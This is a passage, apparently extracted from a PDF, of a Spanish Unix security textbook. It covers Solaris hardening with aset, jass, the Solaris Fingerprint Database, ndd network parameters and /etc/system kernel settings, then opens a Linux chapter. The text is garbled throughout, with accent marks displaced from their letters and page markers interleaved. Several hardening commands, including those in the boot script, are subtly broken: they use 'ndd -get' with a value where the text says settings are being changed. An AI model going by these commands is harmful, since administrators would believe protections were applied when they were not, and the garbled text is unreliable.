deseado en la comprobaci´n: ‘low’, que a o se limita a informar de las vulnerabilidades potenciales, ‘mid’, que modifica ciertos par´metros a que considera incorrectos, y ‘high’, el m´s restrictivo, que modifica m´s a´n dichos par´metros, y a a u a que es recomendable en sistemas en los que la seguridad de Solaris sea un elemento por encima de cualquier otro, como el funcionamiento; incluso en la p´gina man de aset se advierte que algunas a
- 168. 150 CAP´ ITULO 9. SOLARIS aplicaciones pueden dejar de funcionar si utilizamos este nivel de seguridad. Podemos invocar a /usr/aset/aset indic´ndole mediante el par´metro ‘-l’ el nivel de seguri- a a dad deseado: anita:/# /usr/aset/aset -l low ======= ASET Execution Log ======= ASET running at security level low Machine = anita; Current time = 0628_03:11 aset: Using /usr/aset as working directory Executing task list ... firewall env sysconf usrgrp tune cklist eeprom All tasks executed. Some background tasks may still be running. Run /usr/aset/util/taskstat to check their status: /usr/aset/util/taskstat [aset_dir] where aset_dir is ASET’s operating directory,currently=/usr/aset. When the tasks complete, the reports can be found in: /usr/aset/reports/latest/*.rpt You can view them by: more /usr/aset/reports/latest/*.rpt anita:/# La orden anterior habr´ generado un directorio de informes cuyo nombre hace referencia a la fecha a y hora de ejecuci´n, y que al ser el ultimo se enlaza tambi´n con el nombre latest; todos los o ´ e reports generados por aset tienen extensi´n ‘.rpt’ (son simples ficheros ascii), y se guardan en o /usr/aset/reports/. Cada uno de ellos contiene el informe de las potenciales vulnerabilidades que aset ha encontrado durante su ejecuci´n, as´ como de los cambios que haya realizado en funci´n o ı o del nivel de seguridad especificado. Como aset indica, el hecho de que la ejecuci´n del comando o haya finalizado no implica que los informes se hayan realizado completamente; podemos ejecutar /usr/aset/util/taskstat para ver que tareas no han finalizado a´n. u Adem´s de los informes de los que acabamos de hablar, la primera ejecuci´n de aset genera una a o serie de archivos en el directorio /usr/aset/master/: en ellos se guarda una imagen del estado que la herramienta ha encontrado en el sistema, de forma que una ejecuci´n posterior del programa – o dentro del mismo nivel de seguridad – puede comprobar qu´ par´metros han cambiado en cada uno e a de los ficheros analizados; evidentemente, es vital para nuestra seguridad evitar que un atacante pueda modificar esta imagen, ya que de lo contrario podr´ ‘enga˜ar’ sin problemas a ‘aset’. Por ıa n ejemplo, al ejecutar ‘/usr/aset/aset’ con un nivel de seguridad ‘low’ se ha guardado en esa ima- gen cierta informaci´n sobre un fichero importante como /etc/inittab (en /usr/aset/asetenv o se define la lista de directorios de los que se guarda una imagen en cada nivel de seguridad); parte de esta informaci´n se encuentra en /usr/aset/masters/cklist.low: o anita:/usr/aset/masters# grep inittab cklist.low -rw-r--r-- 1 root sys 1087 Jan 5 23:38 2000 /etc/inittab 26732 3 anita:/usr/aset/masters#
- 169. 9.6. EXTENSIONES DE LA SEGURIDAD 151 Podemos ver que los par´metros registrados de este archivo: propietario y grupo, permisos, n´mero a u de enlaces, tama˜o, fecha y hora de la ultima modificaci´n y un checksum. Si ahora un atacante n ´ o decidiera modificar ese fichero (por ejemplo para situar un troyano en ´l) casi con total seguridad e modificar´ alguno de esos par´metros, por lo que la siguiente ejecuci´n de la herramienta reportar´ ıa a o ıa este hecho: anita:/# grep inittab /usr/aset/reports/latest/cklist.rpt < -rw-r--r-- 1 root sys 1087 Jan 5 23:38 2000 /etc/inittab 26732 3 > -rw-r--r-- 1 root sys 1237 Jun 28 19:58 2001 /etc/inittab 37235 3 anita:/# Quiz´s una pr´ctica recomendable para incrementar nuestra seguridad pueda ser planificar la eje- a a cuci´n de ‘aset’ para que se ejecute a intervalos peri´dicos desde ‘crond’ y para que nos avise o o (por ejemplo, mediante correo electr´nico) de cualquier anomal´ detectada en la m´quina. Si lo o ıa a hacemos as´ hemos de tener siempre presente que el nivel ‘high’ prima la seguridad por encima ı, de cualquier otra cosa, por lo que tras una ejecuci´n planificada de ‘aset’ es posible que alguna o aplicaci´n puntual deje de funcionar. o 9.6.2 jass jass (JumpStart Architecture and Security Scripts, tambi´n conocido como Solaris Security Toolkit) e es un paquete software formado por diferentes herramientas cuyo objetivo es facilitar y automatizar la creaci´n y el mantenimiento de entornos Solaris seguros; ha sido desarrollado por Alex Noorder- o graaf y Glenn Brunette, dos expertos en seguridad de Sun Microsystems conocidos – especialmente el primero de ellos – por los BluePrints que peri´dicamente publican. Se puede ejecutar sobre una o m´quina donde previamente hemos instalado Solaris (Standalone Mode), o bien durante la propia a instalaci´n del operativo (JumpStart Technology Mode): conseguimos as´ una instalaci´n por defec- o ı o to segura, algo que se echa de menos en casi cualquier Unix. Probablemente la parte m´s importante de jass son los denominados drivers, ficheros ´n que es- a o pecifican diferentes niveles de ejecuci´n de la herramienta, definiendo qu´ scripts se han de ejecutar o e en cada uno de esos niveles y qu´ archivos se instalar´n como resultado de la ejecuci´n. Cada uno e a o de estos drivers est´ ubicado en el subdirectorio Drivers/ del programa, y tiene tres partes bien a diferenciadas ([NB01b]): la primera se encarga de inicializar ciertas variables de entorno necesarias para una correcta ejecuci´n del driver, la segunda de definir qu´ ficheros se han de modificar y qu´ o e e scripts se han de ejecutar, y una tercera parte es la encargada final de llevar a cabo los cambios correspondientes. En un sistema Solaris ya instalado podemos invocar desde l´ ınea de ´rdenes a jass pas´ndole como o a par´metro el driver que deseemos ejecutar, por ejemplo secure.driver (un driver que implementa a por s´ s´lo todas las funcionalidades de jass): ı o anita:/var/tmp/jass-0.3# ./jass-execute -d secure.driver -o jass.log ./jass-execute: NOTICE: Executing driver, secure.driver ./jass-execute: NOTICE: Recording output to jass.log anita:/var/tmp/jass-0.3# Todos los cambios que la ejecuci´n anterior provoca (en el ejemplo anterior podemos verlos en o el archivo ‘jass.log’, o en salida est´ndar si no utilizamos la opci´n ‘-o’) quiz´s convierten a a o a nuestro sistema en uno ‘demasiado seguro’: es posible que perdamos parte de la funcionalidad de la que dispon´ıamos, debido al elevado n´mero de restricciones llevadas a cabo en el sistema; es u necesario que cada administrador revise sus necesidades y los scripts a los que va a invocar antes de ejecutar jass. Afortunadamente, una de las caracter´ ısticas m´s importantes de esta herramienta a es su capacidad para deshacer los cambios que cualquiera de sus ejecuciones haya llevado a cabo: anita:/var/tmp/jass-0.3# ./jass-execute -u -o jass-undo.log ./jass-execute: NOTICE: Executing driver, undo.driver Please select a JASS run to restore through: 1. July 06, 2001 at 03:59:40 (//var/opt/SUNWjass/run/20010706035940)
- 170. 152 CAP´ ITULO 9. SOLARIS Choice? 1 ./jass-execute: NOTICE: Restoring to previous run //var/opt/SUNWjass/run/ 20010706035940 ./jass-execute: NOTICE: Recording output to jass-undo.log anita:/var/tmp/jass-0.3# Podemos ver que la desinstalaci´n de los cambios llevados a cabo previamente, mediante la opci´n o o ‘-u’ del programa, nos pregunta qu´ ejecuci´n de jass queremos desinstalar; como s´lo lo hab´ e o o ıamos lanzado una vez, hemos elegido ‘1’, pero si ya hubi´ramos ejecutado la herramienta en diferentes e ocasiones se nos mostrar´ todas ellas, con lo cual siempre podemos devolver a la m´quina a un ıan a estado previo a cualquier ejecuci´n de jass. Esta caracter´ o ıstica es bastante importante, ya que volvemos a insistir en que, en funci´n del driver al que invoquemos, el sistema puede quedar incluso o demasiado ‘securizado’: por poner un ejemplo, la ejecuci´n de secure.driver eliminar´ cualquier o ıa acceso est´ndar al sistema (telnet, ftp, rsh. . . ), con lo que ser´ necesario de disponer de una a ıa consola o de ssh para acceder remotamente a la m´quina tras la ejecuci´n de jass. a o Como hemos dicho antes, tambi´n es posible integrar jass en la propia instalaci´n del sistema e o operativo Solaris; para ello hemos de basarnos en la arquitectura JumpStart de Sun Microsystems ([Noo01]), copiando el paquete de software en el directorio ra´ del servidor JumpStart y siguiendo ız unos pasos simples explicados con detalle en [NB01c]. Con unas sencillas modificaciones de algunos ficheros, conseguiremos una instalaci´n por defecto segura, lo que evitar´ que el administrador de o a los sistemas tenga que ir m´quina a m´quina para realizar el t´ a a ıpico hardening postinstalaci´n (cerrar o puertos, configurar accesos. . . ). La que acabamos de ver es una herramienta muy recomendable en cualquier sistema Solaris, ya que consigue automatizar muchas tareas que de otra forma el administrador deber´ realizar ıa manualmente. Su potencia, unida a su sencillez de uso (y ‘desuso’), la convierten en algo si no imprescindible s´ muy importante en nuestros sistemas; incomprensiblemente no se utiliza de forma ı extendida, aunque es previsible que con sus nuevas versiones (actualmente est´ disponible la 0.3) a esto comience a cambiar pronto. Podemos obtener informaci´n adicional de esta herramienta en o los BluePrints publicados por Sun Microsystems y que se distribuyen, aparte de v´ web, en el ıa directorio Documentation/ de la misma: [NB01b], [NB01a], [NB01c], [NB01d]. . . 9.6.3 sfpdb La base de datos sfpdb (Solaris Fingerprint Database) es un servicio gratuito de Sun Microsystems que permite a los usuarios verificar la integridad de los archivos distribuidos con Solaris, tanto con la base del operativo como con productos concretos de Sun o parches; esto permite por una parte verificar que lo que acabamos de instalar en una m´quina es realmente una distribuci´n de Solaris a o oficial de Sun, y por otra detectar si un pirata ha logrado modificar alguno de los ficheros del sistema (como /bin/login), t´ ıpicamente para situar troyanos o puertas traseras en una m´quina atacada: a se trata de un sistema de detecci´n de intrusos basado en host, como veremos a la hora de hablar o de IDSes. Para lograr su objetivo, desde http://sunsolve.sun.com/ se puede comparar la funci´n resumen o md5 de determinados archivos que tenemos en nuestra m´quina con el resumen almacenado por a Sun Microsystems. Para ello en primer lugar hemos de generar el resumen de los ficheros que de- seemos verificar, mediante la orden md5 (instalada como parte del paquete SUNWkeymg o de forma independiente): anita:/# pkgchk -l -p /usr/sbin/md5 Pathname: /usr/sbin/md5 Type: regular file Expected mode: 0755 Expected owner: root Expected group: sys Expected file size (bytes): 24384 Expected sum(1) of contents: 12899
- 171. 9.6. EXTENSIONES DE LA SEGURIDAD 153 Expected last modification: Nov 11 20:19:48 1999 Referenced by the following packages: SUNWkeymg Current status: installed anita:/# md5 /bin/su MD5 (/bin/su) = 79982b7b2c7576113fa5dfe316fdbeae anita:/# Una vez hecho esto, introduciremos este resumen en un formulario web, y se nos proporcionar´ a informaci´n sobre el mismo; si no hay problemas, el resultado ser´ similar al siguiente: o a Results of Last Search 79982b7b2c7576113fa5dfe316fdbeae - (/bin/su) - 1 match(es) canonical-path: /usr/bin/su package: SUNWcsu version: 11.8.0,REV=2000.01.08.18.17 architecture: i386 source: Solaris 8/Intel Mientras que si el resumen que hemos obtenido no se corresponde con el de ning´n fichero de las u diferentes versiones de Solaris u otro software de Sun, se nos dar´ el error Not found in this database. a Este error de entrada implica que en nuestra m´quina tenemos algo cuanto menos ‘extra˜o’, ya que a n es extremadamente raro que un archivo del sistema como /bin/su, /bin/ps o /bin/ls sea mod- ificado en un sistema. Si fuera este el caso, y como administradores desconocemos a qu´ puede e ser debida esa modificaci´n, con una alta probabilidad nos han instalado un rootkit, un conjunto o de herramientas utilizadas por los piratas principalmente para ocultar su presencia y garantizarse el acceso en una m´quina donde han conseguido privilegios de root; un rootkit instala versiones a troyanizadas de casi todos los programas que pueden ayudar en la detecci´n del pirata, como ‘ls’ o o ‘netstat’, lo que provoca que si no ponemos un m´ ınimo de inter´s sea muy dif´ detectar la e ıcil intrusi´n. o Existen adem´s ciertas extensiones a la sfpdb cuyo objetivo es facilitar el uso de la base de datos a [DNO01]; una de ellas es sfpc (Solaris Fingerprint Database Companion), que automatiza el proceso de generar y verificar los res´menes md5 de un n´mero considerable de archivos mediante un script u u en perl (recordemos que un simple interfaz web que invoca a un cgi no es apropiado para todas las aplicaciones, por lo que Sun Microsystems est´ estudiando la posibilidad de publicar de otra forma a el contenido completo de la base de datos). Para conseguirlo, sfpc acepta como entrada un fichero que contiene una lista de res´menes, dividi´ndola en diferentes partes para enviarlas por separado u e a la sfpdb, y generando resultados globales en funci´n de cada uno de los resultados individuales o obtenidos. Otra de estas herramientas es sfps (Solaris Fingerprint Database Sidekick), un sencillo shellscript que funciona en conjunci´n con la propia sfpdb y con sfpc y cuyo objetivo es simplificar la detecci´n o o de troyanos; para ello, almacena una lista de ejecutables com´nmente troyanizados por cualquier u rootkit, y es el contenido de dicha lista el que se compara contra la base de datos mediante el script en perl de sfpc. Evidentemente esta base de datos de Sun Microsystems y sus utilidades asociadas (que podemos descargar libremente desde las p´ginas web de esta compa˜´ a nıa), como cualquier otro producto a la hora de hablar de seguridad, no es la panacea, sino s´lo una herramienta m´s que nos puede o a ayudar a detectar intrusiones en una m´quina. Tambi´n tiene puntos d´biles, ya que por ejemplo a e e un atacante que sea capaz de modificar ciertas utilidades del sistema podr´ hacer lo mismo con el a ejecutable ‘md5’, de forma que simule generar resultados similares a los originales cuando verifi- camos la integridad de utilidades troyanizadas; contra esto, una soluci´n efectiva puede ser utilizar o un ‘md5’ est´tico y guardado en una unidad de s´lo lectura, y por supuesto generado a partir de a o fuentes confiables. Sin ser una herramienta excluyente, mediantes consultas automatizadas a la
- 172. 154 CAP´ ITULO 9. SOLARIS base de datos proporcionada por Sun Microsystems tenemos la posibilidad de descubrir intrusiones graves en nuestros sistemas en un tiempo m´ ınimo, y de forma sencilla. 9.7 El subsistema de red Antes de hablar de la seguridad del subsistema de red en Solaris quiz´s sea necesario introducir a el comando ‘ndd’; esta orden permite tanto consultar (mediante el s´ ımbolo ‘?’) como modificar la configuraci´n de ciertos drivers del sistema, en concreto los que soportan la pila de protocolos o tcp/ip: anita:/# ndd -get /dev/tcp tcp_strong_iss 1 anita:/# ndd -set /dev/tcp tcp_strong_iss 2 anita:/# ndd -get /dev/tcp tcp_strong_iss 2 anita:/# Si quisi´ramos comprobar qu´ par´metros ofrece un determinado driver (por ejemplo /dev/tcp), e e a lo har´ ıamos con la orden siguiente: anita:/# ndd -get /dev/tcp ? El uso del car´cter ‘’ no es m´s que un escape del shell para el s´ a a ımbolo ‘?’. es importante conocer qu´ par´metros ofrece cada driver de nuestro sistema antes de planificar una modificaci´n e a o de sus valores, especialmente en Solaris 8, versi´n en la que ha cambiado ligeramente el nombre o de alguno de ellos y adem´s se han incluido algunos nuevos relativos a IPv6 (que no mostramos aqu´ a ı). Los primeros par´metros que nos interesar´ modificar para incrementar la seguridad de nuestro a a sistema pueden ser los relacionados con el forwarding, el reenv´ de paquetes de cierto tipo que ıo llegan a la m´quina. En primer lugar, es importante evitar que nuestro equipo se convierta en un a enrutador; aunque en algunas versiones de Solaris es suficiente con crear el fichero /etc/notrouter, lo m´s recomendable es deshabilitar por completo el IP Forwarding a nivel del subsistema de red, a lo cual se consigue mediante la siguiente orden: anita:/# ndd -set /dev/ip ip_forwarding 0 anita:/# Tambi´n es importante evitar que en hosts con m´ltiples tarjetas se reenv´ tramas entre ellas; e u ıen con esto conseguimos hacer m´s dif´ un ataque de IP Spoofing, ya que el sistema conoce en a ıcil todo momento a trav´s de que interfaz le llega un paquete, y si lo hace por una que no le corre- e sponde, la trama se ignora. Para lograr este objetivo podemos modificar el valor del par´metro a ip strict dst multihoming: anita:/# ndd -set /dev/ip ip_strict_dst_multihoming 1 anita:/# Los ultimos par´metros relacionados con el reenv´ de tramas en la m´quina afectan a los broad- ´ a ıo a casts y a los paquetes source routed (aquellos que contienen en su interior el camino a seguir, total o parcialmente, hasta su destino). Por supuesto, no es recomendable el forwarding de broadcasts di- rigidos desde una estaci´n fuera de una red hacia todos los equipos de esa red, algo que una m´quina o a Solaris con el IP Forwarding activado hace por defecto; de la misma forma, no se deben reenviar tramas que marquen el camino a su destino, ya que en la mayor parte de redes no existen motivos v´lidos para la emisi´n de este tipo de paquetes, y muchos de ellos son denotativos de actividades a o sospechosas. Podemos evitar ambos reenv´ mediante las siguientes ´rdenes respectivamente: ıos o anita:/# ndd -set /dev/ip ip_forward_directed_broadcasts 0 anita:/# ndd -set /dev/ip ip_forward_src_routed 0 anita:/#
- 173. 9.7. EL SUBSISTEMA DE RED 155 Otros par´metros a tener en cuenta para incrementar nuestro nivel de seguridad son algunos rela- a tivos a ataques contra el protocolo arp; para prevenir el ARP Spoofing es recomendable reducir el timeout que Solaris presenta por defecto y que marca la frecuencia de borrado de las entradas de la tabla arp y de la tabla de rutado, fijando ambas en un minuto. Esto lo conseguimos mediante las ´rdenes siguientes (en las que especificamos el tiempo en milisegundos): o anita:/# ndd -get /dev/arp arp_cleanup_interval 60000 anita:/# ndd -get /dev/ip ip_ire_flush_interval 60000 anita:/# Dentro del protocolo icmp tambi´n existen par´metros del subsistema de red interesantes para nues- e a tra seguridad; un grupo de ellos son los relacionados con los diferentes tipos de tramas icmp que pueden implicar un broadcast: icmp echo request, icmp timestamp e icmp address mask. Todos ellos pueden ser utilizados para causar negaciones de servicio, por lo que una buena idea en la mayor parte de situaciones es simplemente ignorarlos; incluso en el segundo caso (icmp timestamp) Solaris ofrece la posibilidad de ignorar las tramas de este tipo aunque no sean broadcasts, simple- mente paquetes dirigidos a un host deterinado, ya que pueden proporcionar informaci´n del sistema o util de cara a un ataque. Para conseguir ignorar todas estas tramas podemos ejecutar estas ´rdenes: ´ o anita:/# ndd -get /dev/ip ip_respond_to_echo_broadcast 0 anita:/# ndd -get /dev/ip ip_respond_to_timestamp_broadcast 0 anita:/# ndd -get /dev/ip ip_respond_to_address_mask_broadcast 0 anita:/# ndd -get /dev/ip ip_respond_to_timestamp 0 anita:/# Todav´ dentro del protocolo icmp, otro tipo de mensajes que nos pueden causar problemas son ıa los icmp redirect; es conveniente deshabilitar tanto su emisi´n (s´lo un router tiene la necesidad o o de enviar este tipo de tramas) como su recepci´n, ya que pueden ser utilizados para generar rutas o falsas en el subsistema de red de una m´quina. Para lograr ambas cosas podemos ejecutar las a siguientes ´rdenes: o anita:/# ndd -get /dev/ip ip_ignore_redirects 1 anita:/# ndd -get /dev/ip ip_send_redirects 0 anita:/# La generaci´n de los n´meros iniciales de secuencia tcp es otro par´metro que seguramente nos o u a interesar´ modificar en un sistema Solaris; por defecto esta generaci´n se basa en incrementos a o pseudoaleatorios, lo que puede facilitar ataques de IP Spoofing contra el sistema. Podemos au- mentar nuestro nivel de seguridad utilizando un esquema de generaci´n m´s robusto, basado en o a [Bel96], simplemente modificando el fichero /etc/default/inetinit para asignarle al par´metro a tcp strong iss un valor de 2: anita:/# cat /etc/default/inetinit # @(#)inetinit.dfl 1.2 97/05/08 # # TCP_STRONG_ISS sets the TCP initial sequence number generation parameters. # Set TCP_STRONG_ISS to be: # 0 = Old-fashioned sequential initial sequence number generation. # 1 = Improved sequential generation, with random variance in increment. # 2 = RFC 1948 sequence number generation, unique-per-connection-ID. # TCP_STRONG_ISS=2 anita:/# Al contrario de lo que sucede con ndd, cuyos cambios se pierden al reiniciar el sistema y hay que planificar en el arranque si necesitamos hacerlos permanentes, la modificaci´n del fichero anterior no o tendr´ efecto hasta que el sistema vuelva a arrancar; si no queremos detener la m´quina, podemos a a conseguir lo mismo mediante la orden ‘ndd’ sobre el n´cleo en ejecuci´n: u o anita:/# ndd -set /dev/tcp tcp_strong_iss 2 anita:/#
- 174. 156 CAP´ ITULO 9. SOLARIS Tambi´n mediante ndd podemos modificar en Solaris las restricciones relativas a los puertos reser- e vados (aquellos que s´lo el root puede utilizar, por defecto los que est´n por debajo del 1024). En o a primer lugar, podemos definir el m´ ınimo puerto no reservado, para que las conexiones al sistema o los procesos de usuario puedan utilizar s´lo los que est´n por encima de ´l; si por ejemplo queremos o a e que el rango de puertos reservados comprenda a todos los que est´n por debajo del 5000 podemos a ejecutar la orden siguiente: anita:/# ndd -set /dev/tcp tcp_smallest_nonpriv_port 5000 anita:/# Adem´s, desde su versi´n 2.6 Solaris permite marcar puertos individuales como reservados, tanto a o udp como tcp, y tambi´n eliminar esta restricci´n de puertos que previamente hayamos reservado; e o por defecto, aparte de los primeros 1024 puertos, Solaris define como reservados – en tcp y udp – los puertos 2049 (nfsd) y 4045 (lockd). En el siguiente ejemplo se muestra c´mo consultar los o puertos marcados de esta forma, c´mo a˜adir un alguno a la lista, y c´mo eliminarlo de la misma; o n o aunque el ejemplo se aplica a tcp, el caso de udp es completamente an´logo pero sustituyendo el a nombre del dispositivo contra el que ejecutamos la orden (que ser´ /dev/udp) y la cadena ‘tcp’ ıa del nombre de cada par´metro por ‘udp’: a anita:/# ndd /dev/tcp tcp_extra_priv_ports 2049 4045 anita:/# ndd -set /dev/tcp tcp_extra_priv_ports_add 5000 anita:/# ndd /dev/tcp tcp_extra_priv_ports 2049 4045 5000 anita:/# ndd -set /dev/tcp tcp_extra_priv_ports_del 5000 anita:/# ndd /dev/tcp tcp_extra_priv_ports 2049 4045 anita:/# Antes de finalizar este punto es importante insistir en que los cambios producidos por ‘ndd’ s´lo se o mantienen hasta el siguiente reinicio del sistema; de esta forma, las modificaciones que hemos visto aqu´ se mantendr´n s´lo mientras la m´quina no se pare, pero si esto sucede en el arranque todos ı a o a los par´metros del subsistema de red tomar´n sus valores por defecto. Por tanto, lo m´s probable a a a es que nos interese planificar en el inicio del sistema las modificaciones estudiadas en este punto para que se ejecuten de forma autom´tica; para conseguirlo, no tenemos m´s que crear el script a a correspondiente y ubicarlo en el directorio /etc/rc2.d/ con un nombre que comience por ‘S’, con lo que hacemos que se ejecute siempre que la m´quina entre en un runlevel 2: a anita:~# cat /etc/init.d/nddconf #!/sbin/sh # # Configuracion segura del subsistema de red de Solaris # ndd -set /dev/ip ip_forwarding 0 ndd -set /dev/ip ip_strict_dst_multihoming 1 ndd -set /dev/ip ip_forward_directed_broadcasts 0 ndd -set /dev/ip ip_forward_src_routed 0 ndd -get /dev/arp arp_cleanup_interval 60000 ndd -get /dev/ip ip_ire_flush_interval 60000 ndd -get /dev/ip ip_respond_to_echo_broadcast 0 ndd -get /dev/ip ip_respond_to_timestamp_broadcast 0 ndd -get /dev/ip ip_respond_to_address_mask_broadcast 0 ndd -get /dev/ip ip_respond_to_timestamp 0 ndd -get /dev/ip ip_ignore_redirects 1 ndd -get /dev/ip ip_send_redirects 0
- 175. ´ ´ 9.8. PARAMETROS DEL NUCLEO 157 ndd -set /dev/tcp tcp_strong_iss 2 # anita:~# chmod 744 /etc/init.d/nddconf anita:~# chown root:sys /etc/init.d/nddconf anita:~# ln /etc/init.d/nddconf /etc/rc2.d/S70nddconf anita:~# Si queremos conocer mejor la configuraci´n de seguridad del subsistema de red de Solaris una o excelente obra que no deber´ faltar en la mesa de ning´n administrador de sistemas es [NW99]; ıa u todo este punto est´ basado ampliamente en ella. Incluye, adem´s de explicaciones claras sobre el a a porqu´ del valor de cada par´metro para prevenir posibles ataques, un shellscript para planificar en e a el inicio del sistema, much´ ısimo m´s completo que el presentado aqu´ y aplicable a varias versiones a ı, de Solaris (incluyendo la 8); en sistemas en los que la seguridad es un factor a tener en cuenta (¿todos?) es casi obligatorio utilizar esta planificaci´n. o 9.8 Par´metros del n´ cleo a u En el archivo /etc/system el administrador de un equipo Solaris puede definir variables para el n´cleo del sistema operativo, como el n´mero m´ximo de ficheros abiertos por un proceso o el uso de u u a memoria compartida, sem´foros y mensajes para intercomunicaci´n entre procesos. En este aparta- a o do vamos a comentar algunos de estos par´metros que pueden afectar a la seguridad; hablaremos a especialmente de aquellos que pueden y deben ser limitados para evitar diversos tipos de negaciones de servicio, ataques que recordemos afectan a la disponibilidad de nuestros recursos. Si deseamos ver el valor de alguno de los par´metros en el kernel que se est´ ejecutando en este a a momento, lo podemos hacer con la orden adb (n´tese que no ofrece ning´n prompt, hemos de es- o u cribir directamente el par´metro a visualizar, con un ‘/D’ al final para que nos muestre el valor en a decimal): anita:~# adb -k /dev/ksyms /dev/mem physmem 38da maxusers/D maxusers: maxusers: 56 maxuprc/D maxuprc: maxuprc: 901 ^d anita:~# Una negaci´n de servicio muy t´ o ıpica en Unix es el consumo excesivo de recursos por parte de usuarios que lanzan – voluntaria o involuntariamente – demasiados procesos; esto es especialmente com´n en sistemas de I+D, donde muchos usuarios se dedican a programar, y un peque˜o error u n en el c´digo (a veces denominado ‘runaway fork’) puede hacer que el sistema se vea parado por o un exceso de procesos activos en la tabla. La gravedad del problema aumenta si pensamos que tambi´n es muy habitual que los usuarios lancen simulaciones que tardan en ejecutarse varios d´ e ıas (o varias semanas), de forma que una parada inesperada puede causar la p´rdida de muchas horas e de trabajo. Por tanto, parece obvio que es recomendable limitar el n´mero de procesos simult´neos u a por usuario; en Solaris este n´mero est´ ilimitado por defecto, por lo que si deseamos asignar un u a valor m´ximo hemos de editar el fichero /etc/system e incluir una l´ a ınea como la siguiente: set maxuprc=60 De esta forma limitamos el n´mero de procesos por usuario a 60 (un n´mero aceptable en la may- u u or´ de sistemas7 ), consiguiendo as´ que un error en un programa no sea capaz de detener la m´quina. ıa ı a 7 Aunque en algunos documentos se recomienda, para otros Unices, un n´mero m´ximo de 200 procesos ([CH99]). u a
- 176. 158 CAP´ ITULO 9. SOLARIS Un par´metro del sistema operativo especialmente importante, y que quiz´s nos interese modi- a a ficar (sobre todo en m´quinas con pocos recursos) es maxusers. Al contrario de lo que mucha a gente cree, maxusers no hace referencia al n´mero m´ximo de usuarios que pueden conectar si- u a mult´neamente al sistema, sino que es un valor que escala a otros par´metros del n´cleo (como a a u max nproc, n´mero m´ximo de procesos en la tabla) o maxuprc. Para modificarlo, podemos incluir u a en /etc/system una l´ınea con el valor deseado, generalmente el tama˜o en MB de la memoria f´ n ısica de nuestra m´quina ([Dik99]): a set maxusers=128 Tambi´n puede ser conveniente limitar par´metros del sistema operativo relativos al sistema de e a ficheros, ya que tambi´n se pueden producir negaciones de servicio relacionadas con ellos. Por ejem- e plo, es interesante poder limitar el n´mero m´ximo de ficheros abiertos mediante los par´metros u a a rlim fd max (l´ ımite hard) y rlim fd cur (l´ımite soft) o evitar que los usuarios puedan utilizar chown() en sus ficheros, especificando un valor 1 para la variable rstchown (este es el compor- tamiento por defecto; si no lo seguimos, aparte de comprometer la seguridad los usuarios sin privi- legios podr´ ignorar el sistema de quotas). ıan Dejando ya de lado los l´ ımites que se pueden imponer a los recursos consumidos por los usuar- ios del sistema, existe otra serie de par´metros del n´cleo interesantes para aumentar la seguridad a u de un sistema Solaris. Por ejemplo, en algunas arquitecturas SPARC (concretamente en sun4u, sun4d y sun4m) es posible, desde Solaris 2.6, establecer una protecci´n hardware para prevenir o ataques de buffer overflow. Esta protecci´n consiste en impedir que los programas puedan ejecutar o c´digo en su pila, recibiendo la se˜al sigsegv si tratan de hacerlo: para ello, en /etc/system hemos o n de incluir una l´ ınea como set noexec_user_stack=1 Y si adem´s queremos monitorizar los intentos de ataque de este tipo (como mensajes del n´cleo a u de Solaris, con priority ‘kern’ y nivel ‘notice’, por defecto en /var/adm/messages), podemos incluir en el archivo la l´ ınea set noexec_user_stack_log=1 Si administramos un servidor nfs y deseamos que ignore las peticiones de clientes que no provengan de puertos privilegiados (es decir, que no hayan sido solicitadas por un usuario privilegiado de la m´quina cliente) podemos definir la variable nfs portmon en /etc/system; si usamos versiones a de Solaris anteriores a la 2.5, debemos incluir una l´ ınea como set nfs:nfs_portmon = 1 mientras que en Solaris 2.5 y posteriores utilizaremos set nfssrv:nfs_portmon = 1 Por ultimo, como ya comentamos en el punto dedicado a la seguridad eeprom, podemos deshabilitar ´ el acceso que se consigue a la misma al pulsar la combinaci´n de teclas ‘Stop–A’ en un teclado Sun; o para ello es necesario a˜adir en el fichero /etc/system una entrada como n set abort_enable=0 Antes de finalizar este punto, es necesario tener en cuenta que los cambios que se realicen en /etc/system no tendr´n efecto hasta que la m´quina se reinicie, y que un peque˜o error en los a a n contenidos de este archivo puede provocar que un sistema no arranque, por lo que es siempre recomendable guardar una copia antes de realizar cualquier modificaci´n del fichero. o
- 177. Cap´ ıtulo 10 Linux 10.1 Introducci´n o A mediados de 1991 un estudiante finland´s llamado Linus Torvalds trabajaba en el dise˜o de un e n sistema operativo similar a Minix, que pudiera ejecutarse sobre plataformas Intel y compatibles, y sobre todo que fuera peque˜o y barato; a ra´ de un mensaje de este estudiante en comp.os.minix, n ız algunas personas comenzaron a interesarse por el proyecto, y finalmente el 5 de octubre de ese a˜o n Linus Torvals hizo p´blica la versi´n 0.02 – la primera funcional – de lo que ya se denominaba Linux u o (Linus´ Unix). En esa versi´n, que aproximadamente utilizaron un centenar de usuarios, apenas se o ofrec´ soporte a hardware (excepto el que Linus ten´ en su ordenador), no dispon´ de subsistema ıa ıa ıa de red ni de sistema de ficheros propio, y las utilidades de espacio de usuario se pod´ contar ıan con los dedos de las manos (un shell, un compilador, y poco m´s). Sin embargo, y a pesar de las a duras cr´ ıticas de pesos pesados en el mundo de los sistemas operativos como Andrew Tanenbaum, el proyecto era muy interesante, y poco a poco programadores de todo el mundo fueron aportando mejoras a este nuevo sistema. A principios de 1994 apareci´ Linux 1.0, considerada la primera versi´n del operativo utilizable o o no s´lo por hackers y programadores, sino por usuarios ‘normales’; de las aproximadamente 10000 o l´ ıneas de la versi´n inicial se hab´ pasado a unas 170000, y el centenar de usuarios se hab´ mul- o ıa ıa tiplicado por mil. Linux 1.0 incorporaba subsistema de red (sin duda uno de los cambios que m´s a ha contribuido a la expansi´n del operativo), entorno gr´fico (arrastrado de versiones anteriores) o a y soporte a una gama de hardware relativamente amplia. La popularidad del operativo crec´ ıa mes a mes – especialmente en entornos universitarios y de investigaci´n – gracias sobre todo a su o filosof´ cualquiera pod´ (y puede) modificar una parte del n´cleo, adaptarla, mejorarla, o incorpo- ıa: ıa u rar nuevas l´ ıneas, con la unica obligaci´n de compartir el nuevo c´digo fuente con el resto del mundo. ´ o o Sin embargo, no fu´ hasta 1996, con la aparici´n de Linux 2.0 (que incorporaba casi medio mill´n e o o de l´ıneas de c´digo), cuando se produjo el gran boom de Linux que perdura hasta la actualidad. o Esta nueva versi´n convert´ a Linux en un sistema libre que, en algunos aspectos, no ten´ nada o ıa ıa que envidiar a entornos Unix comerciales; m´s de un mill´n de usuarios contribu´ sin descanso a a o ıan mejorar el sistema, y quiz´s por primera vez la arquitectura PC no era un mercado reservado casi a en exclusiva 